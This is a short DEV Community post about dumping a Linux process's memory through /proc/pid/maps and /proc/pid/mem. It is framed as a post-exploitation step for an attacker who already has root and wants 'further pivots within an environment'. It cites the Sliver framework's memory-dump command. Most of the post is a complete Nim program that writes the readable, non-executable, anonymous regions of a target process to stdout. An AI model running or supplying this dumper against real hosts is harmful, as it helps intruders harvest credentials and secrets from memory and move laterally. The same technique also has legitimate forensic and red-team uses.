DEV Community

Cover image for Capturing process memory from /proc/pid/mem
fx2301
fx2301

Posted on

Capturing process memory from /proc/pid/mem

Why?

You want to inspect process memory to enable further pivots within an environment.

When?

You have root access to a Linux host, and no Linux Security Modules block access to /proc.

How?

A statically linked binary is especially convenient here - as is learning from how others have solve the problem (e.g. from Sliver's Dump Process Memory command).

This nim code reads metadata from /proc/pid/maps, and dumps to stdout offsets of /proc/pid/mem that are: readable, non executable, and non-file-backed. My experience mirrored the Sliver developer's in that [vvar] and [vdso] errored out when attempting to read them:

import std/os
import std/strutils
import std/strformat

if paramCount() != 1:
  echo &"Usage: {paramStr(0)} <pid>"
  quit(1)

let f = open(&"/proc/{paramStr(1)}/mem")

for line in lines(&"/proc/{paramStr(1)}/maps"):
  let parts = line.split(" ")
  # readable memory but not executable code
  if parts[1][0] == 'r' and not parts[1].contains('x'):
    # skip files mapped into memory
    if parts[3] == "00:00":
      # skip memory we will error out accessing
      if not(line.endsWith("[vvar]") or line.endsWith("[vdso]")):
        let addresses = parts[0].split("-")
        let offset_start = addresses[0].parseHexInt()
        let offset_end = addresses[1].parseHexInt()
        f.setFilePos(offset_start)
        var buffer: array[1024, int8]
        var remaining = offset_end-offset_start
        while remaining > 0:
          let n = f.readBytes(buffer, 0, min(remaining, 1024))
          remaining -= n
          discard stdout.writeBytes(buffer, 0, n)      

f.close()
Enter fullscreen mode Exit fullscreen mode

Top comments (0)